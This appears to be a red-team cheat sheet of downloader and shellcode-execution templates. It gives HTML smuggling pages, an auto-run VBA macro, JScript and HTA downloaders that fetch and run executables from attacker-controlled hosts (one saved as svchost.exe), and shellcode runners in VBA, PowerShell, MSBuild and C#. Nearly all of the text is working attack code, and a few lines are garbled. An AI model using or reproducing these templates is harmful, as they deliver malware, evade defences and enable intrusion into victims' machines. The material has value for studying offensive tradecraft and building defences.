Downloaders and Shellcodes

Downloaders

HTML Smuggling

HTML Smuggling Code - Chrome

Note that we chose to browse to the HTML file with Google Chrome since it supports window.URL.createObjectURL. This technique must be modified to work against browsers like Internet Explorer and Microsoft Edge.
When an Executable is downloaded via browser it is tagged as downloaded from the internet and Windows SmartScreen activate; Windows and the SmartScreen feature tries to block execution.
1
<html>
2
<body>
3
<script>
4
function base64ToArrayBuffer(base64) {
5
var binary_string = window.atob(base64);
6
var len = binary_string.length;
7
var bytes = new Uint8Array( len );
8
for (var i = 0; i < len; i++) {
9
bytes[i] = binary_string.charCodeAt(i);
10
}
11
return bytes.buffer;
12
}
13
14
var file ='AAAAAAAA....' /* Base64 Encoded payload */
15
var data = base64ToArrayBuffer(file);
16
var blob = new Blob([data], {type: 'octet/stream'});
17
var fileName = '221.exe';
18
var a = document.createElement('a');
19
document.body.appendChild(a);
20
a.style = 'display: none';
21
var url = window.URL.createObjectURL(blob);
22
a.href = url;
23
a.download = fileName;
24
a.click();
25
window.URL.revokeObjectURL(url);
26
</script>
27
</body>
28
</html>
Copied!

HTML Smuggling Code - MS Edge

Utilize - window.navigator.msSaveBlob
1
<html>
2
<body>
3
<script>
4
function base64ToArrayBuffer(base64) {
5
var binary_string = window.atob(base64);
6
var len = binary_string.length;
7
var bytes = new Uint8Array( len );
8
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
9
}
10
return bytes.buffer;
11
}
12
var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...'
13
var data = base64ToArrayBuffer(file);
14
var blob = new Blob([data], {type: 'octet/stream'});
15
var fileName = 'msfstaged.exe';
16
navigator.msSaveBlob(blob, fileName);
17
18
</script>
19
</body>
20
</html>
Copied!

VBA Downloader

This template contains Document_Open() which works on Word documents, for this to auto open on excel you should use Workbook_Open() or the usual AutoOpen()
1
Sub Document_Open()
2
MyMacro
3
End Sub
4
5
Sub AutoOpen()
6
MyMacro
7
End Sub
8
9
Sub MyMacro()
10
Dim str As String
11
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/221.exe', '221payload.exe')"
12
Shell str, vbHide
13
Dim exePath As String
14
exePath = ActiveDocument.Path + "\221payload.exe"
15
Wait (2)
16
Shell exePath, vbHide
17
End Sub
18
19
Sub Wait(n As Long)
20
Dim t As Date
21
t = Now
22
Do
23
DoEvents
24
Loop Until Now >= DateAdd("s", n, t)
25
End Sub
Copied!

JScript

1
var url = "http://192.168.119.120/met.exe"
2
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
3
Object.Open('GET', url, false);
4
Object.Send();
5
if (Object.Status == 200)
6
{
7
var Stream = WScript.CreateObject('ADODB.Stream');
8
Stream.Open();
9
Stream.Type = 1;
10
Stream.Write(Object.ResponseBody);
11
Stream.Position = 0;
12
Stream.SaveToFile("met.exe", 2);
13
Stream.Close();
14
}
15
var r = new ActiveXObject("WScript.Shell").Run("met.exe");
Copied!

HTA Downloader

1
<html>
2
<head>
3
<script language="VBScript">
4
Sub RunProgram
5
Set objShell = CreateObject("Wscript.Shell")
6
' Choose command to run at objShell.Run
7
objShell.Run "certutil.exe -urlcache -f http://127.0.0.1/mtr_rs_tcp_80.exe C:\windows\temp\svchost.exe"
8
9
Dim dtmStartTime
10
dtmStartTime = Now
11
idTimer = window.setTimeout("PausedSection", 5000, "VBScript")
12
End Sub
13
14
Sub PausedSection
15
Msgbox dtmStartTime & vbCrLf & Now
16
Set objShell = CreateObject("Wscript.Shell")
17
objShell.Run "cmd.exe /c C:\windows\temp\svchost.exe"
18
End Sub
19
20
RunProgram()
21
22
23
</script>
24
</head>
25
<body>
26
"Im definitly not suspicious"
27
</body>
28
</html>
Copied!

ShellCode Execution

VBA Shellcode Execution

1
' Windows API Imports Declaration
2
' CreateThread ; VirtualAlloc ; RtlMoveMemory
3
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
4
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
5
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
6
7
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
8
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
9
Long) As LongPtr
10
11
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
12
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
13
14
Function MyMacro()
15
Dim buf As Variant
16
Dim addr As LongPtr
17
Dim counter As Long
18
Dim data As Long
19
Dim res As Long
20
' Bytearray that contains the shellcode payload
21
buf = Array(232,..., 213)
22
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
23
For counter = LBound(buf) To UBound(buf)
24
data = buf(counter)
25
res = RtlMoveMemory(addr + counter, data, 1)
26
Next counter
27
res = CreateThread(0, 0, addr, 0, 0, 0)
28
End Function
29
30
Sub Document_Open()
31
MyMacro
32
End Sub
33
34
Sub AutoOpen()
35
MyMacro
36
End Sub
Copied!

Powershell Shellcode Execution (.NET) via P/Invoke

C -> C# Types
www.pinvoke.net
Add-Type calls the csc compiler, which writes to disk.
1
# Using PInvoke & .NET we can define and import Win32 APIs and use them via powershell
2
# We use "Here-Strings", e.g. @" "@ to right .NET code in powershell script
3
# Then we use the 'Add-Type' cmdlet which compiles the .NET code and retrieves
4
# a powershell object which we can use to execute the methods.
5
# This complition process performed by csc.exe and creates artifacts on disk of both the source code and compiled assembly
6
7
$Kernel32 = @"
8
using System;
9
using System.Runtime.InteropServices;
10
11
public class Kernel32 {
12
[DllImport("kernel32")]
13
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
14
15
[DllImport("kernel32", CharSet=CharSet.Ansi)]
16
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
17
18
[DllImport("kernel32.dll", SetLastError=true)]
19
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
20
}
21
"@
22
23
Add-Type $Kernel32
24
25
# Here enters the payload
26
[Byte[]] $buf = 0xaa, 0xff, ...
27
28
$size = $buf.Length
29
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
30
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
31
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
32
33
# Keeps the thread alive until we exit the shell
34
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
35
Copied!

Powershell Dynamic Invoke

1
function LookupFunc {
2
Param ($moduleName, $functionName)
3
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
4
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
5
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
7
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
8
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
9
@($moduleName)), $functionName))
10
}
11
12
function getDelegateType {
13
Param (
14
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
15
[Parameter(Position = 1)] [Type] $delType = [Void]
16
)
17
18
$type = [AppDomain]::CurrentDomain.
19
DefineDynamicAssembly((New-Object
20
System.Reflection.AssemblyName('ReflectedDelegate')),
21
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
22
DefineDynamicModule('InMemoryModule', $false).
23
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
24
[System.MulticastDelegate])
25
26
$type.
27
DefineConstructor('RTSpecialName, HideBySig, Public',
28
[System.Reflection.CallingConventions]::Standard, $func).
29
SetImplementationFlags('Runtime, Managed')
30
31
$type.
32
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
33
SetImplementationFlags('Runtime, Managed')
34
35
return $type.CreateType()
36
}
37
38
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
39
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]po
40
41
([IntPtr])
42
$VirtualAlloc =
43
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
44
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
45
46
$lpMem =
47
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
48
kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])
49
([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
50
51
# Editing & Change your shellcode
52
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
53
54
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
55
56
$hThread =
57
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
58
kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],
59
[UInt32], [IntPtr])
60
([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
61
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
62
kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32])
63
([Int]))).Invoke($hThread, 0xFFFFFFFF)
Copied!

MSBUILD XML

1
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
2
<!-- This inline task executes shellcode. -->
3
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
4
<!-- Save This File And Execute The Above Command -->
5
<!-- Author: Casey Smith, Twitter: @subTee -->
6
<!-- License: BSD 3-Clause -->
7
<Target Name="Hello">
8
<ClassExample />
9
</Target>
10
<UsingTask
11
TaskName="ClassExample"
12
TaskFactory="CodeTaskFactory"
13
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
14
<Task>
15
16
<Code Type="Class" Language="cs">
17
<![CDATA[
18
using System;
19
using System.Runtime.InteropServices;
20
using Microsoft.Build.Framework;
21
using Microsoft.Build.Utilities;
22
public class ClassExample : Task, ITask
23
{
24
private static UInt32 MEM_COMMIT = 0x1000;
25
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
26
[DllImport("kernel32")]
27
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
28
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
29
[DllImport("kernel32")]
30
private static extern IntPtr CreateThread(
31
UInt32 lpThreadAttributes,
32
UInt32 dwStackSize,
33
UInt32 lpStartAddress,
34
IntPtr param,
35
UInt32 dwCreationFlags,
36
ref UInt32 lpThreadId
37
);
38
[DllImport("kernel32")]
39
private static extern UInt32 WaitForSingleObject(
40
IntPtr hHandle,
41
UInt32 dwMilliseconds
42
);
43
public override bool Execute()
44
{
45
//replace with your own shellcode
46
byte[] shellcode = new byte[] { 0x00, 0x00 };
47
48
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
49
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
50
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
51
IntPtr hThread = IntPtr.Zero;
52
UInt32 threadId = 0;
53
IntPtr pinfo = IntPtr.Zero;
54
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
55
WaitForSingleObject(hThread, 0xFFFFFFFF);
56
return true;
57
}
58
}
59
]]>
60
</Code>
61
</Task>
62
</UsingTask>
63
</Project>
Copied!

C# Execution via InteropServices

1
using System;
2
using System.Collections.Generic;
3
using System.Linq;
4
using System.Text;
5
using System.Threading.Tasks;
6
using System.Diagnostics;
7
using System.Runtime.InteropServices;
8
namespace ConsoleApp1
9
{
10
class Program
11
{
12
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
13
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
14
flAllocationType, uint flProtect);
15
[DllImport("kernel32.dll")]
16
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
17
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
18
[DllImport("kernel32.dll")]
19
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
20
dwMilliseconds);
21
static void Main(string[] args)
22
{
23
byte[] buf = new byte[630] {
24
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
25
...
26
0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
27
int size = buf.Length;
28
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
29
Marshal.Copy(buf, 0, addr, size);
30
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
31
IntPtr.Zero);
32
WaitForSingleObject(hThread, 0xFFFFFFFF);
33
}
34
}
35
}
Copied!